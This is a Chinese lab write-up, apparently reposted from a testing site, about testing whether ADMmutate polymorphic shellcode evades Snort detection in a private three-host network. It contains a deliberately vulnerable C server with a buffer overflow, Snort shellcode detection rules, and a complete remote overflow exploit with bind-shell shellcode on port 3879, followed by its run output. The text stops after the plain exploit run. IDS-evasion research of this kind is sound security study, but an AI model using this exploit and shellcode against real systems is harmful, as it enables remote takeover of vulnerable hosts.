前言:
只是一个试验,用了三台机器,两台机器跑linux (vmware下的RedHat6.2,同事的机子,借用:)一台机器装NIDS(snort1.8-WIN32)
其中:
server IP: 192.168.100.170
client IP: 192.168.100.171
NIDS IP: 192.168.100.172
目的:
想试试利用ADMmutate是否可以逃过NIDS的监视进行远程缓冲区溢出?NIDS是否可以通过配 置来发现这种攻击!
ADMmutate的介绍:
这个程序的作者是k2,利用了名为多形态代码的技术,使攻击者能够潜在的改变代码结构来欺骗许 多入侵检测系统,但它不会破坏最初的攻击性程序。溢出程序经它一改,就可以摇身一变,而且由于采用了动态改变的技术,每次伪装的shellcode都不相同,本来ids依靠提取公开的溢出程序的特征码来检测报警,特征码变了后ids就检测不到了。
伪装前的shellcode格式为:
[NNNNNNNNNNNNN][SSSS][RRRR]
伪装后的shellcode格式为:
[nnnnnnn][dddd][ssss][rrrr]
其中:
N表示NOP,S表示shellcode,R表示返回地址;
n表示经过编码的NOP,d为解码器,s表示经过编码的shellcode,r表示返回地址。
(ADMmutate在k2的主页上有下载:
http://www.ktwo.ca/c/ADMmutate-0.7.3.tar.gz)
测试过程:
(下面的程序涉及到远程缓冲区溢出,如不明白请看《高级缓冲区溢出下》或《怎样写远程缓冲区溢出漏洞利用程序 》)
1.服务器端运行有漏洞的服务器程序(vulnerable)
//-------------有漏洞的服务器程序(vulnerable.c)-------------------
#include <stdio.h>
#include <.netdb.h>
#include <netinet/in.h>
#define BUFFER_SIZE 1024
#define NAME_SIZE 2048
int handling(int c)
{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1]= '0';
sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;
}
int main(int argc, char *argv[])
{
int s, c, cli_size;
struct sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;
}
-----------------------------------------------------------------------
server:~/ > gcc vulnerable.c -o vulnerable
server:~/ > ./vulnerable 5555&
(现在该程序监听5555端口并等待连接)
2.安装NIDS的机器运行snort:
D:\Tools\Defence\snort>snort -A fast -l log -c shellcode.rules
其中:
shellcode的规则包括:
alert tcp any any -> any any (msg:"SHELLCODE x86 NOP"; content: "|90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; depth: 128; reference:arachnids,181; classtype:bad-unknown; sid:648; rev:2;)
//此规则主要通过对shellcode中的大量NOP进行判断
alert tcp any any -> any any (msg:"SHELLCODE linux shellcode"; content:"/bin/sh";reference:arachnids,343; classtype:attempted-admin; sid:652; rev:2;)
//此规则主要通过对shellcode中的字符串/bin/sh进行判断
alert tcp any any -> any any (msg:"SHELLCODE x86 stealth NOP"; content: "|eb 02 eb 02 eb 02|"; reference:arachnids,291; classtype:bad-unknown; sid:651; rev:2;)
//此规则主要通过对shellcode中的用来替换NOP的jmp 0x02(十六进制为eb 02)进行判断。采用eb 02替换NOP只要是为了躲避一些通过NOP来判断是否溢出的NIDS的检测。
3.客户端运行正常的远程缓冲区溢出程序exploit
//----------------- 正常的exploit.c ----------------------------------
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#define SIZE 2048
#define NOPDEF 861
char shellcode[] =
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
(一个将shell绑定在3879(\x0f\x27\)端口的shellcode!)
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
char buffer[SIZE];
int s, i, size, offset;
unsigned long addr;
struct sockaddr_in remote;
struct hostent *host;
int nop=NOPDEF;
if(argc != 4) {
printf("Usage: %s target-ip port offset\n", argv[0]);
return -1;
}
offset=atoi(argv[3]);
addr=get_sp()-offset;
printf("Jump to 0x%08x\n",addr);
memset(buffer,0x90,SIZE);
memcpy(buffer+nop,shellcode,strlen(shellcode));
for (i = nop+strlen(shellcode); i < SIZE-4; i += 4){
* ((unsigned long *) &buffer[i]) = addr;
}
buffer[2047] = 0x0;
printf("%s\n",buffer);
//getting hostname
host=gethostbyname(argv[1]);
if (host==NULL){
fprintf(stderr, "Unknown Host %s\n",argv[1]);
return -1;
}
// creating socket...
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0){
fprintf(stderr, "Error: Socket\n");
return -1;
}
//state Protocolfamily , then converting the hostname or IP address, and gettingport number
remote.sin_family = AF_INET;
remote.sin_addr = *((struct in_addr *)host->h_addr);
remote.sin_port = htons(atoi(argv[2]));
// connecting with destination host
if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1){
close(s);
fprintf(stderr, "Error: connect\n");
return -1;
}
//sending exploit string
size = send(s, buffer, sizeof(buffer), 0);
if (size==-1){
close(s);
fprintf(stderr, "sending data failed\n");
return -1;
}
// closing socket
close(s);
}
-------------------------------------------------------------------
client:~/ > gcc exploit.c -o exploit
client:~/> ./exploit 192.168.100.170 5555 200
Jump to 0xbffff220
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悏?也f壭1蓧薈塢鳦
塢鬕塎鼚M敉
延伸阅读
文章来源于领测软件测试网 https://www.ltesting.net/